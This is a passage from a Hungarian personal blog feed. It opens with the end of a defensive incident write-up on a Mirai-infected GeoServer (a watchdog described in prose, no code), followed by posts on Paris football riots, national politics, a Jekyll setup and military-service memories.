<p>A gyakorlati jelentősége: a szerver egy <strong>botnet tagjává</strong> vált, amit távolról vezéreltek. Nemcsak áldozat volt, hanem potenciálisan eszköz is mások károsítására. A jó hír, hogy a Mirai-variánsok jellemzően nem mélyen beásó rootkitek — memóriából, <code class="language-plaintext highlighter-rouge">/tmp</code>-ből futnak, és újraindításkor egy letöltő hozza vissza őket. Pont ezért működött a tünetek kezelése: a cron törlése, a bináris eltávolítása és az RCE-út lezárása együtt elvágta az újraindulás láncát.</p>

<h2 id="az-átmeneti-védőháló-egy-egyszerű-watchdog">Az átmeneti védőháló: egy egyszerű watchdog</h2>

<p>Mivel a végleges megoldás (tiszta rendszerre költözés) hetekbe telik, készítettem egy egyszerű, rootból futó watchdog-szkriptet az átmeneti időre. Ez 5 percenként ellenőrzi a már ismert fertőzés-jeleket: gyanús nevű folyamatokat (a tényleges <code class="language-plaintext highlighter-rouge">exe</code>-célt is vizsgálva, nem csak a hamis nevet), kapcsolatokat az ismert C2-címekhez, futtatható fájlokat a temp-könyvtárak tetején, és a szolgáltatás-felhasználó cronjának újra-megjelenését. Ha talál valamit, leállítja, karanténba teszi (nem törli — bizonyítéknak), és naplóz.</p>

<p>Fontos viszont reálisan kezelni: egy ilyen watchdog <strong>a már ismert fertőzés visszatérését fékezi</strong>, nem páncél. A hálózati hozzáférés-korlátozás fontosabb nála, mert az a betörést akadályozza meg, nem csak a tünetet kezeli.</p>

<h2 id="miért-nem-elég-a-takarítás">Miért nem elég a takarítás?</h2>

<p>A vizsgálat során <strong>kétszer</strong> is kiderült, hogy a látható tünet alatt volt még valami: előbb eltűnt <code class="language-plaintext highlighter-rouge">/tmp</code>-payloadok, amelyeket a cron újratöltött volna, majd egy aktív, álcázott botnet-folyamat. Ez a minta pontosan az, amiért egy kompromittált gépet nem lehet megbízhatóan „kitakarítani”. Sosem tudhatod biztosan, hogy az utolsó komponenst is megtaláltad-e.</p>

<p>A helyes, végleges megoldás ezért: <strong>a szervert tiszta alapokról újraépíteni.</strong> A mi esetünkben ez azt jelenti, hogy egy frissen telepített, támogatott operációs rendszerre, aktuális szoftververziókkal, <em>csak az adatok</em> kerülnek át — nem futtatható fájlok, nem teljes lemezképek. Mivel a szolgáltatott rétegek shapefile-ok voltak, ez a migráció valójában egyszerű: az adatkönyvtár hordozható a verziók között.</p>

<h2 id="a-tanulságok-dióhéjban">A tanulságok dióhéjban</h2>

<ol>
  <li>
    <p><strong>Ne hagyj internet felé nyitva elavult szoftvert.</strong> A legtöbb betörés ismert, befoltozott sebezhetőségeken keresztül történik. Egy több éves verzió nyitott porton meghívás a bajra.</p>
  </li>
  <li>
    <p><strong>A hálózati hozzáférés-korlátozás gyakran többet ér a foltozásnál.</strong> Ha valami nem kell publikusan, ne legyen publikus — tűzfal vagy VPN mögé vele.</p>
  </li>
  <li>
    <p><strong>Bizonyíték először, törlés utána.</strong> A kapkodva eltüntetett malware nem mond el semmit arról, mi és hogyan történt.</p>
  </li>
  <li>
    <p><strong>A nevek hazudnak.</strong> A process-álcák, a legitim rendszerelemekhez hasonló elnevezések szándékosak. Mindig a tényleges futtatható fájl útvonalát és a hash-ét nézd.</p>
  </li>
  <li>
    <p><strong>A tünet nem a betegség.</strong> A futó folyamat leállítása nem azonos a fertőzés megszüntetésével. Keresd a belépési pontot és a perzisztencia-mechanizmusokat.</p>
  </li>
  <li>
    <p><strong>Egy kompromittált gép a megtisztítás után is gyanús marad.</strong> A végleges nyugalom egyetlen forrása a tiszta újraépítés.</p>
  </li>
</ol>

<p>Az incidens kezelése néhány óra alatt megtörtént, és a szerver azóta stabil. De a tényleges lezárás nem a malware leállítása volt — hanem a döntés, hogy az egész stacket frissen, tiszta alapokról építjük újra. A többi csak tűzoltás.</p>

<hr />

<p><em>Ha hasonló helyzetbe kerülsz: a sorrend mindig az elszigetelés, a bizonyíték-mentés, a nyomozás, majd a végleges újraépítés. És ne feledd — a foltozás sürgős, de a megelőzés (naprakész szoftver, zárt hálózat, minimális támadási felület) olcsóbb minden tűzoltásnál.</em></p>]]></content><author><name>Falu</name></author><category term="Linux" /><category term="GeoServer" /><category term="Biztonság" /><category term="Malware" /><summary type="html"><![CDATA[Minden egy ártalmatlannak tűnő logfájllal kezdődött.]]></summary></entry><entry><title type="html">Rombolva vígad a francia</title><link href="https://falu.github.io/2026/05/31/rombolva-vigad-a-francia.html" rel="alternate" type="text/html" title="Rombolva vígad a francia" /><published>2026-05-31T13:32:09+00:00</published><updated>2026-05-31T13:32:09+00:00</updated><id>https://falu.github.io/2026/05/31/rombolva-vigad-a-francia</id><content type="html" xml:base="https://falu.github.io/2026/05/31/rombolva-vigad-a-francia.html"><![CDATA[<p>A magyar sírva vígad, a francia tombol, rombol</p>

<!--more-->

<blockquote class="twitter-tweet" data-media-max-width="100%" data-lang="hu"><p lang="fr" dir="ltr">La situation dégénère près du Parc des Princes après la victoire du PSG.<br /><br />Plusieurs départs de feux. Charge de la police pour faire intervenir les pompiers.<a href="https://x.com/hashtag/PSG?src=hash&amp;ref_src=twsrc%5Etfw">#PSG</a> <a href="https://x.com/hashtag/PSGARS?src=hash&amp;ref_src=twsrc%5Etfw">#PSGARS</a> <a href="https://x.com/hashtag/Arsenal?src=hash&amp;ref_src=twsrc%5Etfw">#Arsenal</a> <a href="https://x.com/hashtag/UCLfinal?src=hash&amp;ref_src=twsrc%5Etfw">#UCLfinal</a> <a href="https://x.com/hashtag/Paris?src=hash&amp;ref_src=twsrc%5Etfw">#Paris</a> <a href="https://t.co/30fCdZcfTV">pic.twitter.com/30fCdZcfTV</a></p>&mdash; Luc Auffret (@LucAuffret) <a href="https://x.com/LucAuffret/status/2060815701581918219?ref_src=twsrc%5Etfw">2026. május 30.</a></blockquote>
<script async="" src="https://platform.x.com/widgets.js" charset="utf-8"></script>

<p>Ja, hogy az a francia nem is igazi francia, hanem valami új-francia.</p>

<p>De egyébként tényleg nem értem az ok okozati összefüggés. Az ő csapatuk nyert (büntetőkkel) a BL döntőn, miért kell ezért szétverni a fél várost? Mi lett volna, ha az Arsenal nyer?</p>

<p>A franc se érti már ezt a világot :/</p>]]></content><author><name>Falu</name></author><category term="Franciaország" /><category term="Politka" /><category term="Foci" /><category term="BL" /><category term="Rombolás" /><summary type="html"><![CDATA[A magyar sírva vígad, a francia tombol, rombol]]></summary></entry><entry><title type="html">Jogállamiság témája</title><link href="https://falu.github.io/2026/05/31/jogallamisag-temaja.html" rel="alternate" type="text/html" title="Jogállamiság témája" /><published>2026-05-31T12:50:45+00:00</published><updated>2026-05-31T12:50:45+00:00</updated><id>https://falu.github.io/2026/05/31/jogallamisag-temaja</id><content type="html" xml:base="https://falu.github.io/2026/05/31/jogallamisag-temaja.html"><![CDATA[<p>Kell még valamit mondanom?</p>

<!--more-->

<iframe src="https://www.facebook.com/plugins/video.php?height=476&amp;href=https%3A%2F%2Fwww.facebook.com%2Freel%2F1285255920360346%2F&amp;show_text=false&amp;width=266&amp;t=0" width="266" height="476" style="border:none;overflow:hidden" scrolling="no" frameborder="0" allowfullscreen="true" allow="autoplay; clipboard-write; encrypted-media; picture-in-picture; web-share"></iframe>

<p>Ugye, nem?</p>]]></content><author><name>Falu</name></author><category term="Jogállam" /><category term="Kanada" /><category term="EU" /><category term="Politika" /><category term="Gyerek" /><summary type="html"><![CDATA[Kell még valamit mondanom?]]></summary></entry><entry><title type="html">GitHub Pages + Jekyll</title><link href="https://falu.github.io/2026/05/31/github-pages-jekyll.html" rel="alternate" type="text/html" title="GitHub Pages + Jekyll" /><published>2026-05-31T11:23:27+00:00</published><updated>2026-05-31T11:23:27+00:00</updated><id>https://falu.github.io/2026/05/31/github-pages-jekyll</id><content type="html" xml:base="https://falu.github.io/2026/05/31/github-pages-jekyll.html"><![CDATA[<p>A régi oldal egy eléggé elavult Drupal rendszeren futott. Nehéz volt a karbantartása. Kellett valami frissebb jobb, könnyebben karbantartható.</p>

<!--more-->

<p><img width="100%" alt="GitHub Pages + Jekyll" src="https://github.com/user-attachments/assets/ef80f634-0b38-474d-b40f-8593aae6e1c4" /></p>

<p>Szerettem a Drupalt és valamennyire értettem is hozzá. A újabb verzióra migráláshoz nem volt kedvem, mert a tárhelyen csak egyféle PHP verziót lehet használni, az újabb Drupalnak meg újabb kell. Ha átállítom friss PHP-re az összes régi oldal ami a tárhelyről megy elpusztul. És azok jellemzően olyanok, ahol nem igazán engedhető meg efféle kiesés. Meg hát időm se lett volna rá.</p>

<p>Mivel elég sokat dolgozom GitHubon meg Markdown fájlokkal, kézenfekvőnek tűnt, hogy a GitHub Pages + Jekyll kombinációval hozzak létre egy új oldalt. Marhára egyszerű a dolog. Minden poszt egy Markdown fájl, aminek az elején egy speciális fejléc a front matter ül. Ennek a posztnak ez a fejléce.</p>

<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nn">---</span>
<span class="na">title</span><span class="pi">:</span> <span class="s2">"</span><span class="s">GitHub</span><span class="nv"> </span><span class="s">Pages</span><span class="nv"> </span><span class="s">+</span><span class="nv"> </span><span class="s">Jekyll"</span>
<span class="na">date</span><span class="pi">:</span> <span class="s">2026-05-31 13:23:27 +0200</span>
<span class="na">tags</span><span class="pi">:</span> <span class="pi">[</span><span class="nv">GitHub</span><span class="pi">,</span> <span class="nv">Jekyll</span><span class="pi">]</span>
<span class="na">header</span><span class="pi">:</span>
  <span class="na">teaser</span><span class="pi">:</span> <span class="s">https://github.com/user-attachments/assets/ef80f634-0b38-474d-b40f-8593aae6e1c4</span>
<span class="na">comments</span><span class="pi">:</span> <span class="no">true</span>
<span class="na">published</span><span class="pi">:</span> <span class="no">true</span>
<span class="nn">---</span>
</code></pre></div></div>

<p>Ez a fájl tartalmazza a poszt címét, dátumát, címkéit, bevezetőjét, stb. De, hogy még ezen se kelljen gondolkodni az <strong>Actions</strong>-ben létrehoztam egy <strong>Workflow</strong>-t, ami a megadott paraméterek alapján létrehoz egy üres poszt vázat, amit csak át kell írni, commit, push, és pár másodperc alatt lefut a deployment és már meg is jelent a poszt.</p>

<p>Nem nagy varázslat, aki akarja klónozza le a <a href="https://github.com/falu/falu.github.io">falu/falu.github.io</a> repót, benne van minden.</p>]]></content><author><name>Falu</name></author><category term="GitHub" /><category term="Jekyll" /><summary type="html"><![CDATA[A régi oldal egy eléggé elavult Drupal rendszeren futott. Nehéz volt a karbantartása. Kellett valami frissebb jobb, könnyebben karbantartható.]]></summary></entry><entry><title type="html">Abszolút filmszínház</title><link href="https://falu.github.io/2026/05/31/abszolut-fimszinhaz.html" rel="alternate" type="text/html" title="Abszolút filmszínház" /><published>2026-05-31T00:00:00+00:00</published><updated>2026-05-31T00:00:00+00:00</updated><id>https://falu.github.io/2026/05/31/abszolut-fimszinhaz</id><content type="html" xml:base="https://falu.github.io/2026/05/31/abszolut-fimszinhaz.html"><![CDATA[<p>Váratlan fordulattal zárult a parlamenti választás.</p>

<!--more-->

<p><img width="100%" alt="abszolut filmszínház" src="https://github.com/user-attachments/assets/c1abc34c-2562-4962-a37b-ccb5b6941bc3" /></p>

<p>Azt is mondhatnám, hogy mindenre számítottam, de erre nem.</p>

<p>Van egy olyan érzésem, hogy Orbán durván berakott mindenkit a hintába és “abszolut filmszínház” az egész műsor. Az emberek nem akarták már Orbánt, hát kaptak helyette narcisztikus idiótát. Ez majd valószínűleg jobb lesz. Az egészben az az elképesztő, hogy mindegy, hogy ki, mindegy, hogy milyen áron csak ne az Orbán legyen. 16 év gyűlöletkeltése ide vezetett.</p>

<p>Oké, elismerem, voltak bajok a Fidesz-KDNP-vel és a NER-rel. És ezt ők is tudták jól. Tudniuk kellett. Tudták azt is, hogy ez így nem mehet tovább valahogy le kell választaniuk magukról a NER-t. Erre viszont a legfájdalommentesebb megoldás az, ha ezt (látszólag) nem ők hajtják végre. Orbán hátra dől, és élvezi a műsort, ahogy Bütyök elvégzi a piszkos munkát.</p>

<p>Igen, lesz ára, következménye, de ez még a kisebbik rossz. A Fidesz közben szépen csendben megújul és ha kell félreállítja a MP-t. Láttunk már ilyet: MP -&gt; GyF -&gt; BG.</p>

<p>Idő kell mindenhez és türelem. Ezt a filmszínházasdit nem lehet a végtelenségig játszani, nem lehet büntetlenül úgy csinálni, mintha kormányoznának.</p>

<p>Na mindegy is. Egy pozitív dolog legalább van a dologban: sikerült eltakarítani a baloldalt a parlamentből. 36 évbe telt, de a magyarok végül beismerték, hogy semmi szükség rájuk. Micsoda? Hogy a tiszások baloldaliak lennének? Igaz van köztük pár baloldalhoz köthető arc, de ezek olyanok, hogy oda dörgölőznek, ahonnan hasznot remélnek. Azt sem lehet mondani rájuk, hogy jobboldali, konzervatív alakulat lenne. Leginkább valami centrista, liberális mosléknak tűnik ez az egész.</p>]]></content><author><name>Falu</name></author><category term="Politika" /><summary type="html"><![CDATA[Váratlan fordulattal zárult a parlamenti választás.]]></summary></entry><entry><title type="html">Katonaság</title><link href="https://falu.github.io/2026/05/31/katonasag.html" rel="alternate" type="text/html" title="Katonaság" /><published>2026-05-31T00:00:00+00:00</published><updated>2026-05-31T00:00:00+00:00</updated><id>https://falu.github.io/2026/05/31/katonasag</id><content type="html" xml:base="https://falu.github.io/2026/05/31/katonasag.html"><![CDATA[<p>Az volt a terv, hogy összeszedik a felsőfokú végzettséggel rendelkezőket és kiképző rajparancsnokot csinálnak belőlük, akiket visszadobnak a lakóhelyhez közeli laktanyába. Alap kiképzés egy hónap, rajparancsnoki képzés még egy hónap, mehetsz haza!</p>

<!--more-->

<p><img src="/assets/images/600546706-f0574cc9-fc4d-49bb-a282-d1610e13f4ad.png" alt="cselló" /></p>

<p>Ha jól tudom akkor ebből kb. semmi nem lett, vagy max 1–2 emberke került át máshová a kiképzés után, ugyanis a kilenc hónapot mind’ Szombathelyen nyomtuk le. A kiképzés után viszont tényleg szétdobáltak minket, de csak a laktanyán belül. Volt aki a kiképzésben maradt, volt akit átraktak az ellátóba, én a törzs századhoz kerültem, plusz beraktak a dísz szakaszba, mert pont 180 centi vagyok.</p>

<p>Elvileg én is a kiképzőkhöz kerültem volna, de a rajparancsnoki vizsga(!) előtt egy héttel fölmondott és leszerelt a térképész tiszt. Rajtam kívül még nem tudtak mást leakasztani, aki konyít valamennyit a térképekhez.</p>

<p>Ki is vettek a kiképzésből, átraktak a törzsbe. Az volt a dolgom, hogy a rajpk vizsgához készítsek mindenféle útvonal meg elhelyezési térképeket katonai topográfiai térképekből 3x2 m-es táblákra. Olló, ragasztó, vonalzó, némi kézügyesség és jó sok színes filctoll kellett hozzá. Nekiálltam, amikor készen lettem egyel, akkor mondtam, hogy kellene még valaki, mert akárhogy számolom, nem lesz meg határidőre. Természetesen nem kaptam segítséget, úgyhogy más dolgom nem lévén csak aludni meg enni mentem ki a parancsnoki épületből. Gyakorlatilag napi 12–18 órát dolgoztam. De nem nagyon érdekelt, mert az volt a motiváció, hogy ha kész leszek, akkor maradhatok valami írnok a pk épületben, vagy mivel nem vizsgázhatok mert nincs meg a kiképzésem, nem kapok csillagot, mehetek az őr századba. Na hát ez a banda volt a legalja söpredék, nem akartam ide kerülni.</p>

<p>A határidő előtti délután elkészült az utolsó is. Kérdezte a főnök, a hadműveleti tiszt, hogy azért elmegyek-e velük holnap a Bakonyba. Visszakérdeztem, hogy kapok-e csillagot (ami ugye a zsold miatt nem volt mindegy), mire azt válaszolta, hogy higgyem el, jobban járok, ha nem leszek tisztes, mert azokat leszerelés után időnként vissza fogják rángatni ilyen-olyan kiképzésekre. Hát jó, mondtam, akkor holnap inkább aludnék egy nagyot.</p>

<p>Így is lett. A törzs pk természetesen nem hagyott aludni. ugyanúgy ki kellett mennem sorakozni. Utána visszamentem a körletbe és aludtam tovább.</p>

<p>A vizsga után viszont kiemeltek a törzsből és áttettek a hadműveletre írnoknak. Mivel a hadműveleten előttem nem volt még egyetlen sorállományú sem, az elhelyezésemmel volt egy kis gond, ugyanis nem tartozott hozzájuk körlet. A tiszti szállóra mégsem rakhattak, ezért inkább a törzs századnál kaptam egy külön kis szobát. Eddig is utált a törzs pk, de innentől kifejezetten tüske lettem a körme alatt, ugyanis akkor jöttem-mentem, amikor akartam, és mivel a létszámába sem tartoztam bele, sorakoznom sem kellett. A legnagyobb poén az volt, hogy a törzsből vittem embereket a parancsnoki épületet takarítani. Ezek a fickók meg mind tisztesek (őrvezető, tizedes, szakaszvezető) voltak. Na de a parancs, az parancs.</p>]]></content><author><name>Falu</name></author><category term="Honvédség" /><category term="Szombathely" /><category term="Nosztalgia" /><summary type="html"><![CDATA[Az volt a terv, hogy összeszedik a felsőfokú végzettséggel rendelkezőket és kiképző rajparancsnokot csinálnak belőlük, akiket visszadobnak a lakóhelyhez közeli laktanyába. Alap kiképzés egy hónap, rajparancsnoki képzés még egy hónap, mehetsz haza!]]></summary></entry><entry><title type="html">Helló, Világ!</title><link href="https://falu.github.io/2026/05/30/hello-vilag.html" rel="alternate" type="text/html" title="Helló, Világ!" /><published>2026-05-30T00:00:00+00:00</published><updated>2026-05-30T00:00:00+00:00</updated><id>https://falu.github.io/2026/05/30/hello-vilag</id><content type="html" xml:base="https://falu.github.io/2026/05/30/hello-vilag.html"><![CDATA[<p>A régi oldal ezennel meg van szűnve, ne is keresd.</p>

<!--more-->

<p><img width="100%" alt="Helló, Világ%" src="https://github.com/user-attachments/assets/76f58f24-a565-40dd-884e-b9fe309026fd" /></p>

<p>Mostantól ide fogok írogatni ezt-azt.</p>

<p>Sokkal könnyebb, egyszerűbb.</p>

<p>Lesz itt minden: kütyük, linux, programozás, politika, zene, meg minden ami engem érdekel.</p>

<p>Ez is egyfajta rendszerváltás. Mostantól ellenzékben nyomom.</p>

<p>Rendszeresség? Eddig sem volt, ezután sem lesz. Ahogy Tóni sem fizetett egy vasat sem úgy, a Márk sem fog.</p>]]></content><author><name>Falu</name></author><category term="Helló" /><summary type="html"><![CDATA[A régi oldal ezennel meg van szűnve, ne is keresd.]]></summary></entry></feed>